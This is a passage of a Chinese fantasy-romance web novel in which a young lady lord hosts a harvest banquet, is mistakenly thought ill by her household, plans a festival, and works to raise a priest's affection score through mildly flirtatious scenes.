“很适合你。”艾米提着裙子围着他转了一圈,衷心 地赞叹道。 在没有得到应允之前,青年没有再往前迈步,他站在原处,浅笑着垂眸,和额头的碎发一样温顺:“这说明女仆长大人的眼光很好。另外,小姐,黛碧女士让我上来提醒您,宴会要开始了。” 艾米自然而然地挽上了他的臂弯,紧实的肌肉在她触碰的瞬间下意识地绷紧。 “别紧张嘛。”她用手指胡乱戳了青年戳硬邦邦的手臂,故意看他隐忍的表情:“走吧,我的男伴。”- 在艾米的建议下,也为了容纳更多的宾客,黛碧将晚餐改成站立式宴会,长桌上摆满了食物和酒,还有侍从端着托盘穿行其中,询问客人有什么额外的需要。 女仆长担心粗鲁的酒鬼破坏了宴会的氛围,因此将酒全部换成了几乎没什么度数的果酒,这种几乎等同于饮料的糖水唯一的作用是增加空气中的甜度。此刻,艾米就举着这样一杯酸甜樱桃汁,站在大厅中央兴高采烈地祝词,祝贺粮食丰收,磨坊的风车永不停歇,冬天的暴雪压不垮屋顶,壁炉的木柴能彻夜燃烧。 就算没有酒精,宴会的气氛也十分高涨,大厅欢声笑语,罗莎发挥了她潜行的天赋,如幽灵般出现在每个聊八卦的人群中间,力求不错过任何一个关于出轨和捉奸的故事,而莉亚则借机吃了八块蛋糕的奶油——她认识了新朋友,然后三言两语说服那些孩子蛋糕胚比奶油更昂贵,把他们手里的蛋糕奶油全都刮到了自己的盘子里。 艾米心不在焉地用叉子一点点戳着面前的南瓜派,成酥的饼皮碎开,散在盘子里像棕黄色的砂砾。 “甜品不合您的胃口吗?”雷尔夫问。 大厅很喧闹,他说话时靠得很近,让人感受到无法被忽略的热源。 艾米打起精神摇了摇头:“很好吃。只是我这段时间已经吃了太多次了。” 雷尔夫弯了弯唇角,视线扫过仍然像陀螺一样转个不停的女仆长黛碧,压低声音说:“我也是。” 两个人心有余悸地相互对视。 “大家都很开心。”雷尔夫边说边单手松开了领口最上面的扣子。因为长期挥剑的结果,他的腕骨很突出,看起来很有力量:“但这里人太多了,连我都觉得呼吸不畅。您想悄悄出去透透气吗?” 他眼神清明,脸上看不出任何闷难耐的样子,艾米知道这是他表达关心的方式。 但米迦尔还没出现。 她摇了摇头,看到雷尔夫流露出一闪而过的失落。 但很快,他就重新恢复了令人心动的笑容:“您很喜欢今晚的樱桃酒?” 艾米点头,她手边的这杯已经空了,侍从还没来得及满上:“就是有点太甜了,如果更冰一些、再涩口一些会更合我的口味。” “地窖里有一桶古德先生藏的樱桃酒。”雷尔夫不动声色地挑了挑眉,尽管他总给人坚硬的印象,但在做出这种表情时也多了几分少年气。 “嗯?”艾米眨了眨眼睛,没明白他的暗示。 “不是今晚这种几乎果汁一样的樱桃酒,您应当会喜欢的。” 艾米立马提起了兴趣。 “那么,小姐,请您稍等。”雷尔夫的眼眸清澈透亮:“就让您的骑士为您去偷点来吧?” “记得加冰块。” 青年将右手放在胸前,微微低头做了个标准的骑士礼:“没问题,小姐,满足您的一切需求是我的职责。” 他领口的扣子松散着,露出极具男性力量的喉结,但抬起的那张英俊的脸却温柔没有进攻性。璀璨且专注的瞳孔就像在端详一件垫在昂贵绒布上的珍宝,仅仅这么看着就能让他获得极大的满足。 艾米愣了一下。 她感觉大厅似乎真的有点闷热,以及,自己刚刚喝下的那杯樱桃果酒,也并不是真的没有度数- 古德先生的藏酒确实是好东西,在闹哄哄的、有些闷热的宴会厅里,冰镇后的樱桃酒显得格外清爽。 艾米喝了几口,感觉烦躁一扫而空,但随之而来从胃里升起的烧灼又让她迫不及待再端起冰凉的杯子降温。 不管是饮鸩止渴还是火上浇油,总之她很快就在酒精的帮助下放松了下来,把什么神官大人公爵大人全部抛到了脑后。 但雷尔夫却整晚滴酒未沾,他甚至连面前那杯几乎没度数的樱桃汁都没碰。 “你一定是故意的。”艾米单手支着脑袋侧过头看他,说话时的咬字带着几分刻意维持清醒的顿挫:“你就想看我喝醉。” 雷尔夫没有为自己辩解,轻笑着点头:“是。” 只是他应下得太过干脆,看起来倒像是把一切错处都往自己身上揽的意思,是不怎么诚心的道歉。 艾米不满意,她轻轻晃了晃脑袋,感觉脸颊有点发烫:“那你为什么不喝?” “我想我还是保持清醒比较好。”雷尔夫伸手揽住小姐的肩膀,确保正打算从肩后上餐的侍从别碰到她乱晃的身体:“就比如现在。” 艾米撇撇嘴,她朝青年的怀里靠近了点,说话时樱桃的甜味浓郁扑鼻。 “别以为我不知道。”她压低了声音,手指轻点着自己肖想了整晚的腕骨:“你喜欢我喝醉后的主动,是不是?” 注意到雷尔夫微微僵住的神色,艾米贴得更近了,露出了得意的笑。 就在这时,她的视线扫过宴会厅,在余光中看到了角落中正和围着他的镇民说话的米迦尔。 几乎是下一秒,他就透过人群朝艾米的方向看来,直直地撞进她的视线中。 然后微微颌首,远远地点头致意。 像他这个人的外表一样彬彬有礼,温恭直谅,但艾米却瞬间感觉自己的酒醒了八成。 音乐不知什么时候陡然变化,新加入的鼓手让乐师的琴声更加欢快,女仆长黛碧神色匆匆地来到主位,俯身提醒小姐应当开始跳舞了。 “等等那我现在是直接起身走进舞池吗?” 艾米也是第一次跳开场舞,她手忙脚乱地取下胸口的餐巾,询问女仆长自己要做什么。 “小姐,您要先从主座上站起来,然后——” 雷尔夫打断了黛碧的话:“交给我吧。” 他身体微微前倾,眼睛始终温柔郑重地注视着面前的少女,伸出刚才被艾米轻点着捉弄的右手,噙着笑低沉地说道:“虽然不知道您在意的是什么,但——您可以用一支舞的时间来检查我的这只手了。” 艾米把手搭在他的手心,然后被他宽厚的手掌顺势包裹,牵引着迈进了舞池。 跳动的音符像一根引线,将宴会中的所有人逐个点燃,噼里啪啦地在每个人之间传导,无论是年轻的姑娘小伙,还是上了年纪的夫妻,所有想要跟随音乐律动的人都在宴会主人的感染下尽情舞蹈。 雷尔夫有力的手臂将她揽在怀里,而相对于她的肌肤温度更为滚烫的掌心则牢牢扣住她的腰,在跳得不成章法的舞池中,艾米感觉自己像是一块易碎的起酥南瓜派一样被小心翼翼地呵护着。 她努力 抬起头,想从凌乱的人群中找到刚才出现的米迦尔的身影。 因为这支舞就是跳给他看的。 在知道自己有未婚夫后,神官大人的好感度不动声色地涨了一截——这虽然很不对劲,但也使得艾米后知后觉地意识到,他似乎对有竞争者的猎物更感兴趣。 因此,她选择让雷尔夫做自己的男伴跳开场舞,为的就是进一步试探米迦尔的反应。 神官大人的病情究竟到什么程度? 他喜欢的,是插足一段情意香浓的关系、还是仅仅是被追求者环绕难以采摘的花蕊? “在找谁?” 觉察出小姐的不专心,雷尔夫垂眸掩住满眼的不高兴。他俯身,说话时唇几乎擦过她的耳垂,故意看她敏感轻颤的反应。 “我随便看看而已。”艾米强撑着跟上他的舞步。 雷尔夫没有说话,放在她腰上的手却在暗中发力,指节饱含蜜意地摩挲小姐的后腰,那里是她除却耳朵之外第二敏感的地方。 艾米招架不住,软软地倚靠在他的臂弯,全部的注意力都放在抵挡他的小动作上,自然分不出半分视线再透过舞池中找人。 “别乱动。”她只好喝止对方的行为。 灰发青年有些委屈地停下了手指。 艾米终于再度拥有了喘息的机会。 她仰起脖子,借着向外旋转的舞步在热闹的宴会厅中寻找她的目标。 一圈、两圈、三圈——就在这小节舞蹈即将接近尾声的时候,艾米看到了角落中正温和地望向自己的神官大人。 太好了,他还没走。 艾米长松一口气,自然而然地绽放了舒心的笑容。 果不其然,米迦尔的好感度又涨了10个点。 第67章 第67章小姐病倒了! 这场宴会举办得非常成功,音乐和舞蹈持续到午夜,似乎所有的忧伤和烦恼都在月光下融化了,没有任何析出物,只剩一缕无关紧要的薄烟随风而去。 艾米也很开心,其中古德先生的樱桃酒占了一半的功劳。 雷尔夫牵着她跳了一支又一支舞,她感觉自己就像安徒生童话里的穿红舞鞋的小女孩一样,舞会上一直在旋转,可第二天醒来时却酸痛得直想砍掉双腿。 于是她决定休息一整天,还是一步都不从床上离开的那种。 本该负责整理卧室的小女仆立刻将小姐今天不舒服的消息传遍了整个领主府。 “小姐希望厨房把今天的三餐直接送到她的卧室里。” “什么?小姐今天不舒服?”莫里大婶的大嗓门立刻引起了厨房所有人的注意:“是头疼吗?” 小女仆摇摇头:“我也不知道。总之小姐连床都下不来,正靠在床上看书呢。” “小姐一定是昨天晚上吹了风患了风寒。”莫里大婶笃定地说:“这个时候就要煮一碗浓浓的奶油洋葱汤喝才行。” 她面露忧愁,一边高声指挥新来的小伙子切洋葱,一边手脚麻利地搅着大木勺开始准备煮汤。 “可是,小姐说她的早餐要两片简单的烤吐司就行。”小女仆弱弱地说。 莫里大婶就像没听见小女仆的话一样,头也不抬自顾自地说:“哦,差点忘了,还要给小姐煮一壶热的蜂蜜柚子茶。娜娜!把柚子果酱拿出来煮茶!” 来厨房找食物的古德先生闻到奶油洋葱汤的味道,好奇地问是谁要大早上喝这么辛辣的汤。 “小姐感冒了!现在难受得无法下床呢!”莫里大婶正将刚剥好的蒜丢进锅中,站在炉子前热得出了汗,连声音都带着几分焦躁。 古德先生大惊失色。 他立刻抓了个人让他去镇上贝尔的药剂店抓一副感冒时喝的甘菊汤剂。 “快点,小姐病得不轻呢!”他皱眉道:“等等——也顺便去趟教堂,找神官大人帮忙给小姐看看病吧。” 这位男仆也紧张起来,他在走廊奔跑时不小心撞到了了女仆长黛碧。 “小姐病倒了!十分危急,我必须要赶紧去找神官大人才行。” 黛碧女士原本就常板起的脸变得更加严肃:“什么?” 她着急地用无名指和小拇指凌乱地推了推眼镜,喃喃道:“我得现在就去看看。” 于是,当卧床看书的艾米听到门外传来脚步声时,以为是小女仆把自己的早饭送来了,却没想到推门进来的是女仆长黛碧。 “小姐,您现在还好吗?”她神色焦急,健步如飞,几乎是立刻冲到了艾米的床边。 艾米有些摸不着头脑,懵懵懂懂地看着她一会摸了摸自己的手,一会贴了贴自己的额头。 “您还有哪里不舒服吗?” 艾米疑惑:“我就是腿有点酸而已啊” 黛碧长舒一口气:“吓死我了,我以为您忽然病倒了,看到您一切安好,我就放心了。” 不过既然女仆长大人来了,艾米顺势聊起昨晚的宴会:“你做得很好,办了一场容纳这么多人的宴会。” 她刚才看了会书,实际上心思全在今年的丰收节上。 在永夜城的时候,迪特克的妹妹贝丝就说过托利亚——“那里的食物会把人的嗓子都划破”。 这是绝大多数北境人对这座小镇的印象。 某种意义上来说,这并不是坏事,不管怎么样,最起码托利亚因为食物口感酷似砂砾,而在周边都有一定的知名度。 所以艾米才这么在意今年的丰收节。 她想举办成一场盛大的、能吸引其他地方人来参加的庆典,邀请他们尝一尝托利亚现在的食物,然后用三年无需赋税做诱饵,吸引更多人迁居此处。 毕竟现在的托利亚人太少了,在获得煤矿之前,她更缺人手。 于是艾米将自己的想法告诉了黛碧,这是她让女仆长大人筹办宴会的原因。 “到时候,我们还要款待更多的客人,准备更多的食物和美酒。” “还有乐队。”黛碧女士兴致勃勃地补充:“对于一场宴会来说,音乐十分重要!” 艾米赞同。 不过她总觉得对于庆典来说,这些还是少了些什么。 还缺点什么呢? 黛碧女士离开之后,艾米还在思考。 门外又传来响动,这次应该是自己的早餐送来了。她想。 几片烤吐司和一杯热牛奶,应当十几分钟就好。 没想到开门的是雷尔夫。 他眉骨高高耸起,眉头拧成一团,大步走到艾米的床边,用被子将她露在外面的上身盖住,还用力把两边掖了掖。 “小姐,您怎么能只穿着单衣就这么坐起来!” 雷尔夫的眼中满是担忧,他轻轻叹了口气,单膝半跪在高架床边,微微仰头,无限温柔地注视着艾米,温言细语地劝说:“躺下多休息一会好吗?” 艾米无语。 她从被子里用力抽出胳膊,伸手去按雷尔夫紧锁的眉间。 “我只是腿有点酸痛!不要像我快死了一样紧张好吗!” 雷尔夫捉住她的手腕,整个人呈现出错愕后的呆愣。 “您没有不舒服?” 他小声地问。 “我是不舒服,但只是腿而已。”艾米抽回自己的手腕:“算了,也不知道是怎么回事” “不过我刚好有事情问你。” 她把丰收节庆典的事情再次重复了一遍,并询问雷尔夫的看法。 “但我总觉得单单食物和酒,有点不够精彩?或者,不够盛大?不像个庆典?” 青年半跪在床边想了想,说:“永夜城在每年冬天最冷的时候,会举办一次永夜典礼,这是我小时候每年冬天印象最深的事情。” “在冬天最冷的夜晚,城主,也就是上任纳维公爵大人会主持典礼,而其中最重要的仪式,则是由大魔法师向空中发射照明法术,寓意永恒之光照耀永夜之华章。” “几乎整座城市的人都看得到这光,所以对于永夜城的居民来说,这场典礼意义重大。” 艾米眼睛一亮。 烟花秀! 这不就是烟花秀的作用?让附近方圆几十公里的人都能看到,所有人都能欣赏到璀璨烟花,一定能让庆典更加盛大和精彩。 不仅可以设计在托利亚表演一次,还可以在泥巴湾放一次。 海上烟花!这一定吸引附近海岸的所有人的目光! 只是这个世界并没有烟花这种东西,但这难不倒她,烟花无非就是五颜六色的光,和法术释放效果很像。只是现在的问题是,她本质只是一块大号充电宝,对魔法了解甚少,也不知道有哪些法术组合释放能达成这个效果。 “把床桌搬过来。”艾米立刻坐了起来:“还有笔和信纸也一同拿来。” 她可以写信找布利斯帮忙。 大魔导师家里这么多魔法书,一定知道怎么样才能放烟花。 在艾米的催 促下,雷尔夫也离开了。 五分钟后,就在她刚写完开头的寒暄,准备描述烟花是什么的时候,门又被敲响了。 这次终于是女仆来送早餐了。 只不过,跟她一起进来的,还有莉亚。 “我听娜娜姐姐说你病了,所以,我想我应该来看看您哪里不舒服。”小莉亚吞吞吐吐地说,眼睛却一直往餐盘里瞟。 艾米被托盘里的食物吓了一跳:“我不是说只要两片吐司就行了吗?” 小女仆可怜巴巴地说:“莫里大婶听说您不舒服,一定要做这么多。这是奶油洋葱汤,为了营养更丰富,她还煎了一块鳕鱼,这是蜂蜜柚子茶,她让您多喝点热水这是奶油蛋糕、这是柠檬挞、这是刚出炉的烤栗子糕她怕您胃口不好,所以准备了这么多,希望您多少能吃两口。” 艾米只好把信先放到一边,把床桌空出来放她的早餐。 莉亚的眼睛像粘在桌子上一样,转都转不开了。 “坐在我旁边一起吃点吧。”艾米说。 小姑娘立刻咧开了嘴,然后下一秒才想起来自己过来的目的,连忙摆手:“小姐,您是哪里不舒服吗?您应该多吃一点,不用管我。” “反正我也吃不完。而且,我只是腿有点疼,所以想今天多躺一会而已。” 莉亚这才靠过来坐着,开心地吃着烤栗子糕。 下一个来的是罗莎。 这次她还没张口,艾米先举手投降:“我好好的,没有生病,只是腿有点疼,昨天跳舞跳太多了。” “哦”罗莎重重打了个哈欠,转身想走。 半精灵虽然不吃肉,却是个十足酒鬼,早在雷尔夫去地窖偷古德先生的藏酒之前,那里就已经先被罗莎洗劫了一遍。所以她今天睡到现在才起,并准备吃个早餐后继续回去睡个回笼觉。 “慢着慢着。”艾米喊住了她。 从刚才和雷尔夫的交谈中,艾米意识到自己常年在托利亚待着,对这个世界的了解甚少。罗莎这种活了一百多年、走南闯北的佣兵,一定见过许多稀奇古怪的庆典,正好可以找她取取经。 “庆典?”半精灵还在宿醉中没有完全清醒,因此脸上表情很狰狞:“我倒是有个建议。” “你完全可以把米迦尔神官给用上嘛!” “就算您不喜欢光明神那家伙,但神官大人总是无辜的。”罗莎一副恨铁不成钢的样子:“您不知道米迦尔神官在王城多么有名!所有贵族都想向他告解,排着队地申请他为自己的孩子洗礼。我早就和您说了,他可是圣殿唯一的瑰宝!” “您想想,圣子为平民祈福的活动,能吸引这么多人去看,米迦尔神官的魅力丝毫不比他弟弟弱。” “您只需要搞个神官大人的祝福活动,到时候,别说周边的居民会来托利亚参加,说不定永夜城的贵族们都会来呢!” 嘶。 好有道理。 艾米因为抵触光明神对民众的洗脑,而完全没想过这也可以发展为一个观光旅游景点。 “我知道了,你说得很对。” 罗莎见状就要回去继续睡觉。 等她走后,艾米才想起来自己刚才忘说了什么——忘记让她澄清一下,自己真的没有病得下不来床啊! 算了。 应该没有其他人会来了吧? 艾米继续写给布利斯的信。 两分钟后,门又被推开了。 第68章 第68章比起其他所有人,我最喜…… 这次进来的是亚兰。 “我没病,我好好的,就是腿昨天跳舞跳太久了,有点酸痛。” 艾米把不知道说了第几遍的话再次重复一遍。 亚兰紧紧抿着唇看着她,半天才说:“谁说我是来看你的。” 他抬着下巴把怀里文稿扣在艾米面前的床桌上:“我是来给你送这个的。” 亚兰个子很高,艾米靠在床上得仰起头才能和他说话:“这是什么。” “我根据第二批鱼苗的成长速度调整的新的排筏设计,还加了一些别的细节,你拿去给巴特看吧。”他有点硬邦邦的,语气不高兴的样子。 “哦,对哦。”艾米想起来这回事。 屋内只剩下书页翻动的声音,亚兰没有走,就这么站在她的床边。 男人颀长的身影几乎将她整个笼罩,存在感极强。 艾米扯了扯他的衣角:“能往旁边站一点吗?你有点挡住光了。” “要不然你坐过来好了。”她没怎么用力就把人踉跄着拽到了床沿:“正好我有不理解的地方可以随时问你。” “这里的波浪线是什么意思?”艾米把文稿往他的方向推,身体也靠了过去。 “是上一份文稿里提到的网箱。”亚兰手指向中间的部分:“把网箱用绳索连接起来,中间配上船用的浮飘,通过每次排气和放气,方便每次收获和投喂食物。” 他拿起桌上的笔,一点点耐心地讲解:“还有这里,需要根据实际的面积测算需要的尺寸。” “停停停——”艾米直接按住了他握笔的手:“我倒是能理解这个数字是怎么出现的,但是巴特应该不行。” 这是最简单的几何知识,但巴特对数学的理解只局限于基础运算。 亚兰像被定住了一样身体僵住。 “感觉需要在识字课之外,增加一门基础数学课呢。”艾米的手还按着他,思绪却飘到九霄云外。 简单的加减法并不是难事,在生活中买东西随时能用得到,但更高级一些的分数和乘法,则只有商人们才用得上了。贵族子弟常需要接受数学教育,因为他们长大后要管理自己或家族名下的土地庄园,需要数学来计算税率,或进行贸易往来。 艾米小时候就上过古德先生的数学课,但她只花了五分钟熟悉这个时代常用的计数符号,就完全掌握了古德先生能教的所有知识。 至于几何——因为使用场合不多,所以会的人很少。 亚兰抬起手臂把艾米的手抖下去:“咳我那里有一本《计算之书》,你可以一起寄给巴特。” 他脸泛起薄红。 艾米才发现他的异常,她理直气壮地重新抓住他握笔的手:“不会吧?这你也要躲?让我摸摸怎么了?” 亚兰已经完全熟悉领主小姐这种作弄的表情。他微微抬头眼神躲闪,强撑着努力让自己的声音平稳:“这并不在学士的服务范围。” “那我加点钱怎么样?”艾米没想做什么,她只是觉得好玩,所以故意把脸凑得很近,慢条斯理地说:“学士阁下,您应当竭尽全力解决领主的所有难题。” 亚兰立刻慌乱地移开视线,白皙得近乎透明的脸颊晕出大团的绯红,起伏的胸口暴露了他并不平静的内心。 艾米玩够了,笑着松开了他,重新坐回床桌前看文稿。 留亚兰一个人心脏怦怦直跳。 ——她的睡衣单薄又宽松,靠得太近的时候,裸露的肌肤就像令 人致幻的迷心香,使他呼吸困难,头晕目眩。 就在这时,门外传来古德先生的声音。 亚兰像应激的猫咪一样弹跳着站了起来。 “是古德先生,你紧张什么?”艾米把他又拽到床边坐下:“肯定又是来关心我的‘病情’的。” 领主小姐头疼地拧了拧眉间,打定主意一定要记得告诉管家先生,自己一切安好,别再在领主府传播自己病得下不来床这件事了,否则今天她光是待客就得花掉大半天的时间。 “请进。”她说,手里的笔还未放下。 却在抬头时看到跟在古德身后的米迦尔。 “神官大人?” 艾米脑子飞快闪过自己穿着单薄的睡衣见他是否合适,然后才想起早在王城的时候,米迦尔甚至还穿过自己身上的这件衣服。 她稳了稳心神,刚准备解释自己的情况,就见神官大人温和地浅笑着说道:“看来艾米小姐的病情并不是十分危急。” 古德先生也露出了些许尴尬的神色,确实如米迦尔所说,小姐的身体似乎并没有厨房那群人说的那么严重。 艾米只好再次解释,自己只是跳舞跳得腿疼。 “需要我的帮助吗?”米迦尔忽然问。 艾米不解地望着他。 “我可以用光明法术,为你缓解腿上的疼痛。”米迦尔认真地说。 好像还不错? 艾米歪着脑袋思考片刻,用力点点头:“那麻烦您了。” 古德先生和亚兰离开了房间,艾米撑着上身想从床上起来,却因为曲起腿后肌肉拉扯的酸痛而龇牙咧嘴。 “不用起来。”米迦尔走过来,阻止了她的动作:“您只需要把腿露出来就可以。” 艾米顺从地掀开了被子,把及踝的睡裙往大腿上卷了卷,一直露出最里面南瓜短裤的边,然后抬头眼巴巴地等着他的下一步安排。 检查时最忌讳的就是动作不利索耽误时间,尽管已经是上辈子的事了,但艾米还是会记得做心电图或彩超时因为解扣子太慢被心急的医生催促,以至于她每次去医院前总会记得换好脱穿的上衣。 但米迦尔没遇到过这么配合的贵族小姐。 或者说,大部分情况下,如果需要为女信徒治疗,他都会贴心地留出足够的时间让对方慢吞吞又害羞地露出肌肤。 “还要我做什么吗?”艾米见他没有下一步的动作,以为自己是哪里做的的不对:“其实我的腿肚更疼,是不是我换个姿势趴在床上更方便你治疗?” “不用,这样就好。”米迦尔平静地说。 圣洁的光点洒在同样莹白的小腿上,他看到这双腿的主人正好奇地试图用手指穿过那些无形的粒子。 “嘶——”艾米皱眉,忍不住曲起腿躲开。 一开始还只是清凉的感觉,但很快变成了一种又麻又酸的感觉,就像牙齿做根管治疗,虽然不是很痛,但是非常难受。 米迦尔解释道:“这是治疗必经的过程,再忍耐几分钟就好。” “请别乱动。” 他停下了动作,手指不自觉地轻轻弹动。 有那么一个瞬间,他想直接伸手将她的腿按住。 但这是不礼貌的。 米迦尔垂下眼眸,对她使用了束缚术,莹白的细线勒住她的双腿,在最柔软饱满的大腿处嵌进肉里,勒出浅浅的痕迹。 “为了确保您不会乱动。”他感觉自己说话时喉咙无端地发紧,就像食管里滑进了一整块鸡蛋布丁,在口腔内部扼住了他呼吸的通道。 艾米对此没有异议。 她无法控制自己身体下意识的蜷缩,所以觉得用一些手段辅助很有必要。 但同时,她也迫切地需要想些别的事情转移注意力。 米迦尔在看到亚兰后并没有什么反应,好感度也没有变化。 奇怪。 艾米觉得她有必要暗示一下对方。 “刚才那位是我的学士,他送来了一些我需要的文稿,所以我才让他坐在床边,为我解答其中一些我不理解的部分。” “为什么和我说呢,小姐。”米迦尔抬起眼睛注视着她,嘴角若有若无地浅笑,却带着一股直勾勾的审视:“这是告解的一部分吗?” 艾米被盯得后背发毛,她紧张地心脏砰砰跳:“因为我不想让你误会。” 米迦尔停顿片刻,忽然和煦地笑了。 他温和和说:“您是位很负责任、又十分好学的领主。” “谢谢。”艾米干巴巴地回应。 米迦尔留意到她手指不停揉搓着裙边,似乎很紧张。 “好了。”他收回束缚术,极有分寸地后退了几步,轻轻点头示意对方试一下。 艾米穿着睡裙立刻蹦下床,然后惊奇地发现肌肉无论怎么拉扯都不会疼痛了。 “哇!是真的!” 米迦尔看到艾米的裙边随着她站起来后迅速落下,严严实实地盖住了她刚才在自己面前露出的双腿。 “太感谢您了,神官大人。” 米迦尔视线上移,如愿以偿地看到了欣喜且感激的表情:“让我们感谢光明神大人,这是祂的恩赐。” “感谢光明神大人。” 眼前的少女露出近乎虔诚的兴奋。 “但我更感激您。” 米迦尔感觉自己像是神一样被爱着- 米迦尔很少做梦。 但今晚他罕见地做了一个古怪的梦。 走在肮脏的街道上,看着小巷周围醉醺醺的酒鬼,泛着尿骚臭味的流浪汉,以及打扮的花枝招展的妓女,他立刻意识到这是他童年待过的贫民窟。 米迦尔低头,看到自己仍然穿着神官的衣服。 黑色的制服整洁服帖,没有褶皱,还能闻到领口处皂角的清香。 这是个梦。 他决定继续往前走,看看神给了他怎样的旨意。 从小巷中钻出来,是一条集市。天色昏黄,已到傍晚,街道两边的店铺正在关门。 他们需要将支起的棚子收起来,然后用木板把窗户钉上,这里的夜晚并不安全,所以这些繁琐的步骤是必要的。 唯独一种店还亮着灯。 街面上的所有人都面容模糊。 米迦尔看到那些面容模糊的女人拉着同样面容模糊的男人走到帘子的后面,然后从里面传出断断续续的声音。 这也算是他童年的“特产”之一。 米迦尔收回观察的目光,继续往前走。 拐了一个弯后,街道戛然而止。 又是一家在黄昏后仍然在营业的店。 暧昧不明的灯光,若有若无的女人的声音,无一不在昭示这家店的生意内容。 前面没有路了。 米迦尔几乎没有什么心理负担地抬腿走进了这家店。 这只是个梦而已。 神希望他从梦里看到某些他清醒时没意识到事情。 米迦尔对自己的虔诚自信到无所顾忌的地步,因此走进妓院也没有任何心理负担——就像死在他手里的每个异种,他也从未因为那些血液和人类一样鲜红滚烫而有半分犹豫。 走廊的两侧是黑漆漆的空洞,只有尽头处有一块淡粉色的门帘遮住了整个门洞。 米迦尔朝着前面走去。 离门帘越近,他的脚步越缓,直到站在门帘面前,他停下了脚步。 他想起了这块淡粉色的布为何这么眼熟。 这是艾米今天穿的睡裙使用的布料。在王城时,他甚至还穿过这条睡裙。 过往的记忆忽然变得清晰。 祷告室的亲密接触、办公室的拥抱、腿间的经血那些不该被记住的回忆霎那间重新翻了出来。 米迦尔站在门前,第一次犹豫了。 里面传来了熟悉的轻快的声音,还混着不知名的男人的低语。 米迦尔最终还是掀起门帘走了进去。 他看到一张背对着他的墨绿色沙发在屋子中央,一个没什么记忆点的普通男人靠坐在沙发里,露出肩膀之上的后脑勺。 男人怀里抱着一个跨坐在他身上的女人,她穿着淡粉色的睡裙,头埋在他的肩颈吃吃地笑着,轻快又悦耳。 直到她笑够了,才揽着男人的脖子坐起身体。 ——露出那张艾米的脸。 米迦尔看到她仍然保持着坐在男人身上的姿势,却面朝自己说。 “神官大人,我喜欢你。” “比起其他所有人,我最喜欢你。” 梦醒了。 第69章 第69章他无法将月光私有。…… 米迦尔的好感度涨到了50,距离解锁煤矿就只差最后10点。 艾米很认真地开始复盘起神官大人每次好感度变化的具体情况。 第一次是他知道自己有一个未婚夫时。 第二次是宴会上,她和雷尔夫跳第一支舞被他看到时。 第三次则是她状似无意地提及亚兰之后。 如果说这几次都是因为艾米透露了自己的其他追求者的存在,而刺激到了神官大人奇怪的性癖的话,那么最后一次好感度的上涨就很奇怪了。 那只是一个简单 的、发自真心的道谢。 比起想杀了她的光明神,当然是愿意放她一马、还为她治疗双腿酸痛的米迦尔更值得感谢,这是任何有脑子且还有点道德的人都能做出的判断。 可米迦尔却因为她的这句话涨了整整10点的好感度。 怎么了,神官大人连光明神都要竞一下的吗? 艾米感觉自己要从头好好再捋一次。 第一次,是她说婚约是父亲订下的,而她从未见过他时。 第二次,是她在雷尔夫的臂弯中旋转,却努力在人群中寻找米迦尔的身影时。 第三次,则是她在提及亚兰后,附带表示,自己解释这一切,是因为“不想让他误会”。 艾米忽然灵感一现。 该不会他只是想赢而已吧! 或者说,他只是喜欢自己在其他男人的身边却仍然将注意力放在他的身上的这种“偏爱”而已。 嘶。 你们圣职人员的性癖真奇怪啊。 艾米的心情十分复杂。 还不如人妻癖呢,最起码那样的话她只需要多换几个老公就行。而现在,她还得继续扮演痴情少女的形象。 倒不是她对这个人设有什么意见。只是如果仅仅在米迦尔面前演一演就算了,还需要在其他攻略对象的面前满足他NTR的期待,怎么想也有点太羞耻了吧! 不过,现在的情况总比最开始就算攻略也无处下手的局面更好, 她苦中作乐地想- 当领主小姐提着一个盖着淡蓝色碎花布的竹编小篮走在去往教堂的路上时,生出了一种正在刷日常的感觉。 坐在藤椅上清理樱桃木烟斗的老查克,二楼总在午后用硬质牛毛刷拍打被子的丽塔,裁缝店里昏昏欲睡的汤姆他们就像永远存在的npc,而每天走在这条路上的艾米觉得自己对于他们来说也是npc的一员。 是总在午后时分去教堂找神官大人告解的领主小姐。 这种平淡稳定的日常实际上才是最珍贵的宝石。 艾米来到教堂的时候,刚好看到一对年轻的男女正在和米迦尔交谈,她注意到神官大人的脸色似乎比平时更加苍白。 那对年轻的情侣是克琳娜和山姆,城郊农田主乔治的女儿和街角裁缝店汤姆的儿子。 “领主小姐。”山姆先看到了艾米,并用手轻轻碰了碰旁边的女朋友。 “哦,领主小姐!”克琳娜眼睛一亮。 她提着一个和艾米差不多大小的竹编篮子,里面放着裁成方形的方形纸张。 “这是我们的请柬。” 克琳娜递来一张淡黄色的卡片,艾米才注意到每一封上面都贴了可爱的小朵茉莉花,带着淡淡的清香,是会让人忍不住联想到夏天的植物。 “恭喜你,克琳娜,还有山姆。你们要结婚了?” “是。”女孩害羞地看了一眼自己的男友:“我们希望能在教堂举办婚礼。” “就在下周。”山姆补充。 艾米认真地把卡片放进衣服的口袋里,笑眯眯地送上祝福:“我会来参加的。” 目送山姆和克琳娜离开,米迦尔温柔和煦地站在一旁,在等艾米说出她这次前来拜访的理由。 这段时间,她几乎每天都会过来,并且每次都会附带一个两人之间都心照不宣的拙劣借口,有时是请教一段《三圣经》上的释义,有时则是没什么目的的散步邀约。 “你今天不太舒服吗?” 艾米把竹篮放在一旁的长凳上,不知为何,她总觉得神官大人今天的脸色看起来过于苍白了,整个人透露着一种毫无血色的摇摇欲坠感。 “是。”米迦尔淡淡地笑着,没有否认:“我不太舒服,可能是昨晚受了凉。” 这段时间可是托利亚一年中天气最舒适的时候,神官大人的体质这么差吗? 艾米狐疑地看了看穿着厚实黑色制服的米迦尔,觉得有点奇怪。 不过她没再继续追问,转而展示起今天的礼物。 “请看!黄油蔓越莓饼干!” 艾米兴冲冲地掀开了碎花布,露出里面烤得形状不一的饼干,眨着眼睛观察着米迦尔的反应。 “我亲手做的。”她补充道。 这是艾米对于恋爱为数不多的理解。既然米迦尔这么想要“特殊的偏爱”,那么亲手制作的礼物也许会是个好选择。 但实际上,艾米唯一经手的环节,只有把面团捏成奇形怪状的饼干这么一步而已。 为了让它们看起来更像是新手的作品,她还特意告诉莫里大婶,务必烤得焦一点,因为她最近爱上了糊过头的苦味。 “这是送给我的礼物?” 米迦尔罕见地露出了犹豫。 他打量着竹篮里黑糊糊的奇怪东西,感觉后背的伤口更疼了。 “是,我亲手做的饼干。”艾米满脸期待:“虽然样子奇怪了些,但我对光明神发誓,味道还是很不错的。” 这个是实话,毕竟这不是她真的亲手做的。而即使莫里大婶不理解小姐的要求,却仍然兢兢业业地做出了一炉外皮焦糊但内部仍然香酥可口的饼干。 